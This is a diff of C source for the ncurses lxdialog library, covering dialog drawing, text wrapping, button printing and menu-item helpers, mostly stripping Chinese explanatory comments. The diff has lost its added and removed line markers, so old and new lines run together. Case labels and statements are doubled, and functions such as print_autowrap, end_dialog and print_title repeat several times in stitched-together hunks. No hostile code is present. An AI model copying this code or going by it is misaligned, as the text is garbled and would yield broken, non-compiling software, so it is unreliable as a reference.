wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); // 刷新对话框窗口
wmove(dialog, box_y, box_x + input_x);
wrefresh(dialog);
break;
case 1: // 如果 "Help" 按钮被选中
button = 0; // 表示 "Ok" 按钮被选中
case 1:
button = 0; /* Indicates "OK" button is selected */
print_buttons(dialog, height, width, 0);
break;
}
break;
case TAB: // 制表符键
case KEY_DOWN: // 向下箭头键
case KEY_RIGHT: // 向右箭头键
case TAB:
case KEY_DOWN:
case KEY_RIGHT:
switch (button) {
case -1: // 如果输入框被选中
button = 0; // 表示 "Ok" 按钮被选中
case -1:
button = 0; /* Indicates "OK" button is selected */
print_buttons(dialog, height, width, 0);
break;
case 0: // 如果 "Ok" 按钮被选中
button = 1; // 表示 "Help" 按钮被选中
case 0:
button = 1; /* Indicates "Help" button is selected */
print_buttons(dialog, height, width, 1);
break;
case 1: // 如果 "Help" 按钮被选中
button = -1; // 表示输入框被选中
case 1:
button = -1; /* Indicates input box is selected */
print_buttons(dialog, height, width, 0);
wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); // 刷新对话框窗口
wmove(dialog, box_y, box_x + input_x);
wrefresh(dialog);
break;
}
break;
case ' ': // 空格键
case '\n': // 回车键
delwin(dialog); // 删除对话框窗口
return (button == -1 ? 0 : button); // 返回按钮状态
case 'X': // 'X' 键
case 'x': // 'x' 键
key = KEY_ESC; // 设置按键为 ESC 键
case ' ':
case '\n':
delwin(dialog);
return (button == -1 ? 0 : button);
case 'X':
case 'x':
key = KEY_ESC;
break;
case KEY_ESC: // ESC 键
key = on_key_esc(dialog); // 处理 ESC 键
case KEY_ESC:
key = on_key_esc(dialog);
break;
case KEY_RESIZE: // 窗口大小变化键
delwin(dialog); // 删除对话框窗口
on_key_resize(); // 处理窗口大小变化
goto do_resize; // 跳转到 do_resize 标签重新绘制对话框
case KEY_RESIZE:
delwin(dialog);
on_key_resize();
goto do_resize;
}
}
delwin(dialog); // 删除对话框窗口
return KEY_ESC; // 返回 ESC 键表示用户取消操作
delwin(dialog);
return KEY_ESC; /* ESC pressed */
}

@ -223,218 +223,152 @@ static void init_dialog_colors(void)
/*
* Setup for color display
*
*/
static void color_setup(const char *theme)
{
// 声明一个整数变量 use_color用于存储是否使用颜色的主题设置。
int use_color;
// 调用 set_theme 函数根据传入的主题字符串设置颜色主题,并将结果赋值给 use_color。
use_color = set_theme(theme);
// 如果 use_color 为真且终端支持颜色,则进行颜色初始化。
if (use_color && has_colors()) {
// 初始化颜色支持。
start_color();
// 调用 init_dialog_colors 函数初始化对话框颜色。
init_dialog_colors();
} else
// 否则,使用单色主题。
set_mono_theme();
}
/*
* Set window to attribute 'attr'
*
*/
void attr_clear(WINDOW * win, int height, int width, chtype attr)
{
// 声明两个整数变量 i 和 j用于循环遍历窗口的每一行和每一列。
int i, j;
// 设置窗口 win 的属性为传入的 attr。
wattrset(win, attr);
// 循环遍历窗口的每一行。
for (i = 0; i < height; i++) {
// 移动光标到窗口的第 i 行第 0 列。
wmove(win, i, 0);
// 循环遍历窗口的每一列。
for (j = 0; j < width; j++)
// 在窗口的当前位置添加一个空格字符。
waddch(win, ' ');
}
// 标记窗口的所有内容都需要被刷新。
touchwin(win);
}
// 定义一个名为 dialog_clear 的函数,用于清空整个对话框并设置背景标题。
void dialog_clear(void)
{
// 声明两个整数变量 lines 和 columns用于存储对话框的标准屏幕的高度和宽度。
int lines, columns;
// 获取标准屏幕 stdscr 的高度并赋值给 lines。
lines = getmaxy(stdscr);
// 获取标准屏幕 stdscr 的宽度并赋值给 columns。
columns = getmaxx(stdscr);
// 调用 attr_clear 函数清空标准屏幕 stdscr并使用 dlg.screen.atr 设置其属性。
attr_clear(stdscr, lines, columns, dlg.screen.atr);
// 如果 dlg.backtitle 不为 NULL则显示背景标题。
/* Display background title if it exists ... - SLH */
if (dlg.backtitle != NULL) {
// 声明两个整数变量 i 和 len以及一个指向 subtitle_list 结构的指针 pos。
int i, len = 0, skip = 0;
struct subtitle_list *pos;
// 设置标准屏幕 stdscr 的属性为 dlg.screen.atr。
wattrset(stdscr, dlg.screen.atr);
// 在标准屏幕 stdscr 的第 0 行第 1 列位置添加背景标题字符串。
mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle);
// 遍历 dlg.subtitles 链表,计算所有子标题的总长度加上箭头和空格的长度。
for (pos = dlg.subtitles; pos != NULL; pos = pos->next) {
// 3 是用于箭头和空格的长度。
/* 3 is for the arrow and spaces */
len += strlen(pos->text) + 3;
}
// 移动光标到标准屏幕 stdscr 的第 1 行第 1 列。
wmove(stdscr, 1, 1);
// 如果子标题的总长度大于屏幕宽度减去 2则显示省略号并计算需要跳过的字符数。
if (len > columns - 2) {
const char *ellipsis = "[...] ";
// 在当前位置添加省略号字符串。
waddstr(stdscr, ellipsis);
// 计算需要跳过的字符数。
skip = len - (columns - 2 - strlen(ellipsis));
}
// 再次遍历 dlg.subtitles 链表,将子标题添加到屏幕中。
for (pos = dlg.subtitles; pos != NULL; pos = pos->next) {
// 如果 skip 为 0则在当前位置添加一个右箭头字符。
if (skip == 0)
waddch(stdscr, ACS_RARROW);
else
// 否则,减少 skip 的值。
skip--;
// 如果 skip 为 0则在当前位置添加一个空格字符。
if (skip == 0)
waddch(stdscr, ' ');
else
// 否则,减少 skip 的值。
skip--;
// 如果 skip 小于当前子标题的长度,则从跳过的字符位置开始添加子标题字符串。
if (skip < strlen(pos->text)) {
waddstr(stdscr, pos->text + skip);
// 重置 skip 为 0。
skip = 0;
} else
// 否则,减少 skip 的值。
skip -= strlen(pos->text);
// 如果 skip 为 0则在当前位置添加一个空格字符。
if (skip == 0)
waddch(stdscr, ' ');
else
// 否则,减少 skip 的值。
skip--;
}
// 在剩余的列中添加水平线字符。
for (i = len + 1; i < columns - 1; i++)
waddch(stdscr, ACS_HLINE);
}
// 标记标准屏幕 stdscr 的内容已经准备好刷新。
wnoutrefresh(stdscr);
}
/*
* Do some initialization for dialog
*
*/
int init_dialog(const char *backtitle)
{
// 声明两个整数变量 height 和 width用于存储对话框的标准屏幕的高度和宽度。
int height, width;
// 初始化 curses 模式。
initscr(); /* Init curses */
// 获取当前光标位置并保存到 saved_y 和 saved_x以便信号处理函数使用。
/* Get current cursor position for signal handler in mconf.c */
getyx(stdscr, saved_y, saved_x);
// 获取标准屏幕 stdscr 的高度和宽度。
getmaxyx(stdscr, height, width);
// 如果高度或宽度小于最小要求,则结束 curses 模式并返回错误码。
if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) {
endwin();
return -ERRDISPLAYTOOSMALL;
}
// 设置对话框的背景标题为传入的 backtitle。
dlg.backtitle = backtitle;
// 根据环境变量 MENUCONFIG_COLOR 设置颜色主题。
color_setup(getenv("MENUCONFIG_COLOR"));
// 启用标准屏幕 stdscr 的功能键识别。
keypad(stdscr, TRUE);
// 设置标准屏幕 stdscr 为 cbreak 模式,即每次按键后立即返回,不缓冲。
cbreak();
// 禁止回显输入的字符。
noecho();
// 清空对话框并设置背景标题。
dialog_clear();
// 返回 0 表示初始化成功。
return 0;
}
// 定义一个函数 set_dialog_backtitle用于设置对话框的背景标题。
void set_dialog_backtitle(const char *backtitle)
{
// 设置对话框的背景标题为传入的 backtitle。
dlg.backtitle = backtitle;
}
// 定义一个函数 set_dialog_subtitles用于设置对话框的子标题。
void set_dialog_subtitles(struct subtitle_list *subtitles)
{
// 将传入的 subtitles 链表赋值给 dlg.subtitles。
dlg.subtitles = subtitles;
}
/*
* End using dialog functions.
* 使
*/
void end_dialog(int x, int y)
{
// 将光标移动到原始位置 (y, x)。
/* move cursor back to original position */
move(y, x);
// 刷新屏幕以显示光标移动。
refresh();
// 结束 curses 模式。
endwin();
}
/* Print the title of the dialog. Center the title and truncate
* tile if wider than dialog (- 2 chars).
* 2
**/
void print_title(WINDOW *dialog, const char *title, int width)
{
// 如果标题不为空。
if (title) {
// 计算标题长度,不超过 width - 2。
int tlen = MIN(width - 2, strlen(title));
// 设置对话框窗口的属性为 dlg.title.atr。
wattrset(dialog, dlg.title.atr);
// 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。
mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' ');
// 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。
mvwaddnstr(dialog, 0, (width - tlen)/2, title, tlen);
// 在标题字符串的末尾添加一个空格。
waddch(dialog, ' ');
}
}
@ -442,492 +376,338 @@ void print_title(WINDOW *dialog, const char *title, int width)
/*
* Print a string of text in a window, automatically wrap around to the
* next line if the string is too long to fit on one line. Newline
* characters '\n' are properly processed. We start on a new line
* characters '\n' are propperly processed. We start on a new line
* if there is no room for at least 4 nonblanks following a double-space.
*
*/
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x)
{
// 声明变量用于控制换行和光标位置。
int newl, cur_x, cur_y;
// 计算提示字符串的长度。
int prompt_len, room, wlen;
// 声明一个临时字符串 tempstr 和相关指针。
char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0;
// 将提示字符串 prompt 复制到临时字符串 tempstr。
strcpy(tempstr, prompt);
// 获取提示字符串的长度。
prompt_len = strlen(tempstr);
// 如果提示字符串长度小于等于 width - x * 2则提示字符串较短可以直接居中显示。
if (prompt_len <= width - x * 2) { /* If prompt is short */
// 移动光标到窗口的第 y 行,居中位置。
wmove(win, y, (width - prompt_len) / 2);
// 添加提示字符串。
waddstr(win, tempstr);
} else {
// 否则,提示字符串较长,需要自动换行。
cur_x = x; // 当前光标列位置。
cur_y = y; // 当前光标行位置。
newl = 1; // 标记是否为新行。
word = tempstr; // 当前处理的单词指针。
// 循环处理每一个单词。
cur_x = x;
cur_y = y;
newl = 1;
word = tempstr;
while (word && *word) {
// 查找单词中的换行符或空格。
sp = strpbrk(word, "\n ");
if (sp && *sp == '\n')
// 如果找到换行符,设置 newline_separator 为当前位置。
newline_separator = sp;
if (sp)
// 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。
*sp++ = 0;
/* Wrap to next line if either the word does not fit,
or it is the first word of a new sentence, and it is
short, and the next word does not fit. */
// 计算当前行剩余的空间。
room = width - cur_x;
// 获取当前单词的长度。
wlen = strlen(word);
// 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4并且下一个单词也不适合当前行则换行。
if (wlen > room ||
(newl && wlen < 4 && sp
&& wlen + 1 + strlen(sp) > room
&& (!(sp2 = strpbrk(sp, "\n "))
|| wlen + 1 + (sp2 - sp) > room))) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
cur_y++;
cur_x = x;
}
// 移动光标到当前处理位置。
wmove(win, cur_y, cur_x);
// 添加当前单词。
waddstr(win, word);
// 获取当前光标位置。
getyx(win, cur_y, cur_x);
/* Move to the next line if the word separator was a newline */
// 如果 newline_separator 不为 NULL则表示找到了换行符换行。
if (newline_separator) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
newline_separator = 0; // 重置 newline_separator。
cur_y++;
cur_x = x;
newline_separator = 0;
} else
// 否则,增加当前列位置。
cur_x++;
// 如果 sp 指向的字符是空格。
if (sp && *sp == ' ') {
cur_x++; // 增加当前列位置以处理双空格。
// 跳过所有连续的空格。
cur_x++; /* double space */
while (*++sp == ' ') ;
newl = 1; // 标记为新行。
newl = 1;
} else
newl = 0; // 否则,不标记为新行。
word = sp; // 更新 word 指针为下一个单词的起始位置。
newl = 0;
word = sp;
}
}
}
// 定义一个函数 set_dialog_subtitles用于设置对话框的子标题。
void set_dialog_subtitles(struct subtitle_list *subtitles)
/*
* Print a button
*/
void print_button(WINDOW * win, const char *label, int y, int x, int selected)
{
// 将传入的 subtitles 链表赋值给 dlg.subtitles。
dlg.subtitles = subtitles;
int i, temp;
wmove(win, y, x);
wattrset(win, selected ? dlg.button_active.atr
: dlg.button_inactive.atr);
waddstr(win, "<");
temp = strspn(label, " ");
label += temp;
wattrset(win, selected ? dlg.button_label_active.atr
: dlg.button_label_inactive.atr);
for (i = 0; i < temp; i++)
waddch(win, ' ');
wattrset(win, selected ? dlg.button_key_active.atr
: dlg.button_key_inactive.atr);
waddch(win, label[0]);
wattrset(win, selected ? dlg.button_label_active.atr
: dlg.button_label_inactive.atr);
waddstr(win, (char *)label + 1);
wattrset(win, selected ? dlg.button_active.atr
: dlg.button_inactive.atr);
waddstr(win, ">");
wmove(win, y, x + temp + 1);
}
/*
* End using dialog functions.
* 使
* Draw a rectangular box with line drawing characters
*/
void end_dialog(int x, int y)
void
draw_box(WINDOW * win, int y, int x, int height, int width,
chtype box, chtype border)
{
// 将光标移动到原始位置 (y, x)。
move(y, x);
// 刷新屏幕以显示光标移动。
refresh();
// 结束 curses 模式。
endwin();
}
int i, j;
/* Print the title of the dialog. Center the title and truncate
* tile if wider than dialog (- 2 chars).
* 2
**/
void print_title(WINDOW *dialog, const char *title, int width)
{
// 如果标题不为空。
if (title) {
// 计算标题长度,不超过 width - 2。
int tlen = MIN(width - 2, strlen(title));
// 设置对话框窗口的属性为 dlg.title.atr。
wattrset(dialog, dlg.title.atr);
// 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。
mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' ');
// 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。
mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen);
// 在标题字符串的末尾添加一个空格。
waddch(dialog, ' ');
wattrset(win, 0);
for (i = 0; i < height; i++) {
wmove(win, y + i, x);
for (j = 0; j < width; j++)
if (!i && !j)
waddch(win, border | ACS_ULCORNER);
else if (i == height - 1 && !j)
waddch(win, border | ACS_LLCORNER);
else if (!i && j == width - 1)
waddch(win, box | ACS_URCORNER);
else if (i == height - 1 && j == width - 1)
waddch(win, box | ACS_LRCORNER);
else if (!i)
waddch(win, border | ACS_HLINE);
else if (i == height - 1)
waddch(win, box | ACS_HLINE);
else if (!j)
waddch(win, border | ACS_VLINE);
else if (j == width - 1)
waddch(win, box | ACS_VLINE);
else
waddch(win, box | ' ');
}
}
/*
* Print a string of text in a window, automatically wrap around to the
* next line if the string is too long to fit on one line. Newline
* characters '\n' are properly processed. We start on a new line
* if there is no room for at least 4 nonblanks following a double-space.
*
* Draw shadows along the right and bottom edge to give a more 3D look
* to the boxes
*/
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x)
void draw_shadow(WINDOW * win, int y, int x, int height, int width)
{
// 声明变量用于控制换行和光标位置。
int newl, cur_x, cur_y;
// 计算提示字符串的长度。
int prompt_len, room, wlen;
// 声明一个临时字符串 tempstr 和相关指针。
char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0;
int i;
// 将提示字符串 prompt 复制到临时字符串 tempstr。
strcpy(tempstr, prompt);
// 获取提示字符串的长度。
prompt_len = strlen(tempstr);
// 如果提示字符串长度小于等于 width - x * 2则提示字符串较短可以直接居中显示。
if (prompt_len <= width - x * 2) { /* If prompt is short */
// 移动光标到窗口的第 y 行,居中位置。
wmove(win, y, (width - prompt_len) / 2);
// 添加提示字符串。
waddstr(win, tempstr);
} else {
// 否则,提示字符串较长,需要自动换行。
cur_x = x; // 当前光标列位置。
cur_y = y; // 当前光标行位置。
newl = 1; // 标记是否为新行。
word = tempstr; // 当前处理的单词指针。
// 循环处理每一个单词。
while (word && *word) {
// 查找单词中的换行符或空格。
sp = strpbrk(word, "\n ");
// 如果找到换行符,设置 newline_separator 为当前位置。
if (sp && *sp == '\n')
newline_separator = sp;
if (has_colors()) { /* Whether terminal supports color? */
wattrset(win, dlg.shadow.atr);
wmove(win, y + height, x + 2);
for (i = 0; i < width; i++)
waddch(win, winch(win) & A_CHARTEXT);
for (i = y + 1; i < y + height + 1; i++) {
wmove(win, i, x + width);
waddch(win, winch(win) & A_CHARTEXT);
waddch(win, winch(win) & A_CHARTEXT);
}
wnoutrefresh(win);
}
}
if (sp)
// 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。
*sp++ = 0;
/*
* Return the position of the first alphabetic character in a string.
*/
int first_alpha(const char *string, const char *exempt)
{
int i, in_paren = 0, c;
/* Wrap to next line if either the word does not fit,
or it is the first word of a new sentence, and it is
short, and the next word does not fit. */
// 计算当前行剩余的空间。
room = width - cur_x;
// 获取当前单词的长度。
wlen = strlen(word);
// 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4并且下一个单词也不适合当前行则换行。
if (wlen > room ||
(newl && wlen < 4 && sp
&& wlen + 1 + strlen(sp) > room
&& (!(sp2 = strpbrk(sp, "\n "))
|| wlen + 1 + (sp2 - sp) > room))) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
}
// 移动光标到当前处理位置。
wmove(win, cur_y, cur_x);
// 添加当前单词。
waddstr(win, word);
// 获取当前光标位置。
getyx(win, cur_y, cur_x);
for (i = 0; i < strlen(string); i++) {
c = tolower(string[i]);
/* Move to the next line if the word separator was a newline */
// 如果 newline_separator 不为 NULL则表示找到了换行符换行。
if (newline_separator) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
newline_separator = 0; // 重置 newline_separator。
} else
// 否则,增加当前列位置。
cur_x++;
if (strchr("<[(", c))
++in_paren;
if (strchr(">])", c) && in_paren > 0)
--in_paren;
// 如果 sp 指向的字符是空格。
if (sp && *sp == ' ') {
cur_x++; // 增加当前列位置以处理双空格。
// 跳过所有连续的空格。
while (*++sp == ' ') ;
newl = 1; // 标记为新行。
} else
newl = 0; // 否则,不标记为新行。
word = sp; // 更新 word 指针为下一个单词的起始位置。
}
}
if ((!in_paren) && isalpha(c) && strchr(exempt, c) == 0)
return i;
}
// 定义一个函数 set_dialog_subtitles用于设置对话框的子标题。
void set_dialog_subtitles(struct subtitle_list *subtitles)
{
// 将传入的 subtitles 链表赋值给 dlg.subtitles。
dlg.subtitles = subtitles;
return 0;
}
/*
* End using dialog functions.
* 使
* ncurses uses ESC to detect escaped char sequences. This resutl in
* a small timeout before ESC is actually delivered to the application.
* lxdialog suggest <ESC> <ESC> which is correctly translated to two
* times esc. But then we need to ignore the second esc to avoid stepping
* out one menu too much. Filter away all escaped key sequences since
* keypad(FALSE) turn off ncurses support for escape sequences - and thats
* needed to make notimeout() do as expected.
*/
void end_dialog(int x, int y)
int on_key_esc(WINDOW *win)
{
// 将光标移动到原始位置 (y, x)。
move(y, x);
// 刷新屏幕以显示光标移动。
refresh();
// 结束 curses 模式。
endwin();
int key;
int key2;
int key3;
nodelay(win, TRUE);
keypad(win, FALSE);
key = wgetch(win);
key2 = wgetch(win);
do {
key3 = wgetch(win);
} while (key3 != ERR);
nodelay(win, FALSE);
keypad(win, TRUE);
if (key == KEY_ESC && key2 == ERR)
return KEY_ESC;
else if (key != ERR && key != KEY_ESC && key2 == ERR)
ungetch(key);
return -1;
}
/* redraw screen in new size */
int on_key_resize(void)
{
dialog_clear();
return KEY_RESIZE;
}
/* Print the title of the dialog. Center the title and truncate
* title if wider than dialog (- 2 chars).
* 2
**/
void print_title(WINDOW *dialog, const char *title, int width)
struct dialog_list *item_cur;
struct dialog_list item_nil;
struct dialog_list *item_head;
void item_reset(void)
{
// 如果标题不为空。
if (title) {
// 计算标题长度,不超过 width - 2。
int tlen = MIN(width - 2, strlen(title));
// 设置对话框窗口的属性为 dlg.title.atr。
wattrset(dialog, dlg.title.atr);
// 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。
mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' ');
// 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。
mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen);
// 在标题字符串的末尾添加一个空格。
waddch(dialog, ' ');
struct dialog_list *p, *next;
for (p = item_head; p; p = next) {
next = p->next;
free(p);
}
item_head = NULL;
item_cur = &item_nil;
}
/*
* Print a string of text in a window, automatically wrap around to the
* next line if the string is too long to fit on one line. Newline
* characters '\n' are properly processed. We start on a new line
* if there is no room for at least 4 nonblanks following a double-space.
*
*/
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x)
void item_make(const char *fmt, ...)
{
// 声明变量用于控制换行和光标位置。
int newl, cur_x, cur_y;
// 计算提示字符串的长度。
int prompt_len, room, wlen;
// 声明一个临时字符串 tempstr 和相关指针。
char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0;
va_list ap;
struct dialog_list *p = malloc(sizeof(*p));
// 将提示字符串 prompt 复制到临时字符串 tempstr。
strcpy(tempstr, prompt);
// 获取提示字符串的长度。
prompt_len = strlen(tempstr);
if (item_head)
item_cur->next = p;
else
item_head = p;
item_cur = p;
memset(p, 0, sizeof(*p));
// 如果提示字符串长度小于等于 width - x * 2则提示字符串较短可以直接居中显示。
if (prompt_len <= width - x * 2) { /* If prompt is short */
// 移动光标到窗口的第 y 行,居中位置。
wmove(win, y, (width - prompt_len) / 2);
// 添加提示字符串。
waddstr(win, tempstr);
} else {
// 否则,提示字符串较长,需要自动换行。
cur_x = x; // 当前光标列位置。
cur_y = y; // 当前光标行位置。
newl = 1; // 标记是否为新行。
word = tempstr; // 当前处理的单词指针。
va_start(ap, fmt);
vsnprintf(item_cur->node.str, sizeof(item_cur->node.str), fmt, ap);
va_end(ap);
}
// 循环处理每一个单词。
while (word && *word) {
// 查找单词中的换行符或空格。
sp = strpbrk(word, "\n ");
// 如果找到换行符,设置 newline_separator 为当前位置。
if (sp && *sp == '\n')
newline_separator = sp;
void item_add_str(const char *fmt, ...)
{
va_list ap;
size_t avail;
if (sp)
// 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。
*sp++ = 0;
avail = sizeof(item_cur->node.str) - strlen(item_cur->node.str);
// 计算当前行剩余的空间。
room = width - cur_x;
// 获取当前单词的长度。
wlen = strlen(word);
// 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4并且下一个单词也不适合当前行则换行。
if (wlen > room ||
(newl && wlen < 4 && sp
&& wlen + 1 + strlen(sp) > room
&& (!(sp2 = strpbrk(sp, "\n "))
|| wlen + 1 + (sp2 - sp) > room))) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
va_start(ap, fmt);
vsnprintf(item_cur->node.str + strlen(item_cur->node.str),
avail, fmt, ap);
item_cur->node.str[sizeof(item_cur->node.str) - 1] = '\0';
va_end(ap);
}
// 移动光标到当前处理位置。
wmove(win, cur_y, cur_x);
// 添加当前单词。
waddstr(win, word);
// 获取当前光标位置。
getyx(win, cur_y, cur_x);
// 如果 newline_separator 不为 NULL则表示找到了换行符换行。
if (newline_separator) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
newline_separator = 0; // 重置 newline_separator。
} else
// 否则,增加当前列位置。
cur_x++;
// 如果 sp 指向的字符是空格。
if (sp && *sp == ' ') {
cur_x++; // 增加当前列位置以处理双空格。
// 跳过所有连续的空格。
while (*++sp == ' ') ;
newl = 1; // 标记为新行。
} else
newl = 0; // 否则,不标记为新行。
word = sp; // 更新 word 指针为下一个单词的起始位置。
}
void item_set_tag(char tag)
{
item_cur->node.tag = tag;
}
void item_set_data(void *ptr)
{
item_cur->node.data = ptr;
}
// 定义一个函数 set_dialog_subtitles用于设置对话框的子标题。
void set_dialog_subtitles(struct subtitle_list *subtitles)
void item_set_selected(int val)
{
// 将传入的 subtitles 链表赋值给 dlg.subtitles。
dlg.subtitles = subtitles;
item_cur->node.selected = val;
}
/*
* End using dialog functions.
* 使
*/
void end_dialog(int x, int y)
int item_activate_selected(void)
{
// 将光标移动到原始位置 (y, x)。
move(y, x);
// 刷新屏幕以显示光标移动。
refresh();
// 结束 curses 模式。
endwin();
item_foreach()
if (item_is_selected())
return 1;
return 0;
}
/* Print the title of the dialog. Center the title and truncate
* title if wider than dialog (- 2 chars).
* 2
**/
void print_title(WINDOW *dialog, const char *title, int width)
void *item_data(void)
{
// 如果标题不为空。
if (title) {
// 计算标题长度,不超过 width - 2。
int tlen = MIN(width - 2, strlen(title));
// 设置对话框窗口的属性为 dlg.title.atr。
wattrset(dialog, dlg.title.atr);
// 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。
mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' ');
// 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。
mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen);
// 在标题字符串的末尾添加一个空格。
waddch(dialog, ' ');
}
return item_cur->node.data;
}
/*
* Print a string of text in a window, automatically wrap around to the
* next line if the string is too long to fit on one line. Newline
* characters '\n' are properly processed. We start on a new line
* if there is no room for at least 4 nonblanks following a double-space.
*
*/
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x)
char item_tag(void)
{
// 声明变量用于控制换行和光标位置。
int newl, cur_x, cur_y;
// 计算提示字符串的长度。
int prompt_len, room, wlen;
// 声明一个临时字符串 tempstr 和相关指针。
char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0;
// 将提示字符串 prompt 复制到临时字符串 tempstr。
strcpy(tempstr, prompt);
// 获取提示字符串的长度。
prompt_len = strlen(tempstr);
// 如果提示字符串长度小于等于 width - x * 2则提示字符串较短可以直接居中显示。
if (prompt_len <= width - x * 2) { /* If prompt is short */
// 移动光标到窗口的第 y 行,居中位置。
wmove(win, y, (width - prompt_len) / 2);
// 添加提示字符串。
waddstr(win, tempstr);
} else {
// 否则,提示字符串较长,需要自动换行。
cur_x = x; // 当前光标列位置初始化为 x。
cur_y = y; // 当前光标行位置初始化为 y。
newl = 1; // 标记是否为新行,初始为 1 表示是新行。
word = tempstr; // 当前处理的单词指针初始化为 tempstr 的起始位置。
return item_cur->node.tag;
}
// 循环处理每一个单词。
while (word && *word) {
// 查找单词中的换行符或空格。
sp = strpbrk(word, "\n ");
// 如果找到换行符,设置 newline_separator 为当前位置。
if (sp && *sp == '\n')
newline_separator = sp;
int item_count(void)
{
int n = 0;
struct dialog_list *p;
if (sp)
// 将找到的换行符或空格替换为字符串结束符,并将 sp 指向下一个字符。
*sp++ = 0;
for (p = item_head; p; p = p->next)
n++;
return n;
}
// 计算当前行剩余的空间。
room = width - cur_x;
// 获取当前单词的长度。
wlen = strlen(word);
// 如果当前单词长度大于剩余空间,或者当前单词是新句子的第一个单词且长度小于 4并且下一个单词也不适合当前行则换行。
if (wlen > room ||
(newl && wlen < 4 && sp
&& wlen + 1 + strlen(sp) > room
&& (!(sp2 = strpbrk(sp, "\n "))
|| wlen + 1 + (sp2 - sp) > room))) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
void item_set(int n)
{
int i = 0;
item_foreach()
if (i++ == n)
return;
}
// 移动光标到当前处理位置。
wmove(win, cur_y, cur_x);
// 添加当前单词。
waddstr(win, word);
// 获取当前光标位置。
getyx(win, cur_y, cur_x);
// 如果 newline_separator 不为 NULL则表示找到了换行符换行。
if (newline_separator) {
cur_y++; // 移动到下一行。
cur_x = x; // 重置当前列位置为 x。
newline_separator = 0; // 重置 newline_separator。
} else
// 否则,增加当前列位置。
cur_x++;
int item_n(void)
{
int n = 0;
struct dialog_list *p;
// 如果 sp 指向的字符是空格。
if (sp && *sp == ' ') {
cur_x++; // 增加当前列位置以处理双空格。
// 跳过所有连续的空格。
while (*++sp == ' ') ;
newl = 1; // 标记为新行。
} else
newl = 0; // 否则,不标记为新行。
word = sp; // 更新 word 指针为下一个单词的起始位置。
for (p = item_head; p; p = p->next) {
if (p == item_cur)
return n;
n++;
}
return 0;
}
const char *item_str(void)
{
return item_cur->node.str;
}
int item_is_selected(void)
{
return (item_cur->node.selected != 0);
}
int item_is_tag(char tag)
{
return (item_cur->node.tag == tag);
}

@ -19,25 +19,21 @@
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "dialog.h" // 包含对话框库的头文件
#include "dialog.h"
/*
* Display termination buttons
*/
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{
int x = width / 2 - 10; // 计算 "Yes" 按钮的起始位置
int y = height - 2; // 计算按钮的垂直位置
int x = width / 2 - 10;
int y = height - 2;
print_button(dialog, gettext(" Yes "), y, x, selected == 0); // 打印 "Yes" 按钮
print_button(dialog, gettext(" No "), y, x + 13, selected == 1); // 打印 "No" 按钮
print_button(dialog, gettext(" Yes "), y, x, selected == 0);
print_button(dialog, gettext(" No "), y, x + 13, selected == 1);
wmove(dialog, y, x + 1 + 13 * selected); // 移动光标到选中的按钮
wrefresh(dialog); // 刷新窗口以显示更改
wmove(dialog, y, x + 1 + 13 * selected);
wrefresh(dialog);
}
/*
@ -45,74 +41,74 @@ static void print_buttons(WINDOW * dialog, int height, int width, int selected)
*/
int dialog_yesno(const char *title, const char *prompt, int height, int width)
{
int i, x, y, key = 0, button = 0; // 定义变量用于存储位置、按键和按钮状态
WINDOW *dialog; // 定义对话框窗口
int i, x, y, key = 0, button = 0;
WINDOW *dialog;
do_resize:
if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN))
return -ERRDISPLAYTOOSMALL; // 如果屏幕高度不足以显示对话框,返回错误
return -ERRDISPLAYTOOSMALL;
if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN))
return -ERRDISPLAYTOOSMALL; // 如果屏幕宽度不足以显示对话框,返回错误
return -ERRDISPLAYTOOSMALL;
/* center dialog box on screen */
x = (getmaxx(stdscr) - width) / 2; // 计算对话框的水平中心位置
y = (getmaxy(stdscr) - height) / 2; // 计算对话框的垂直中心位置
x = (getmaxx(stdscr) - width) / 2;
y = (getmaxy(stdscr) - height) / 2;
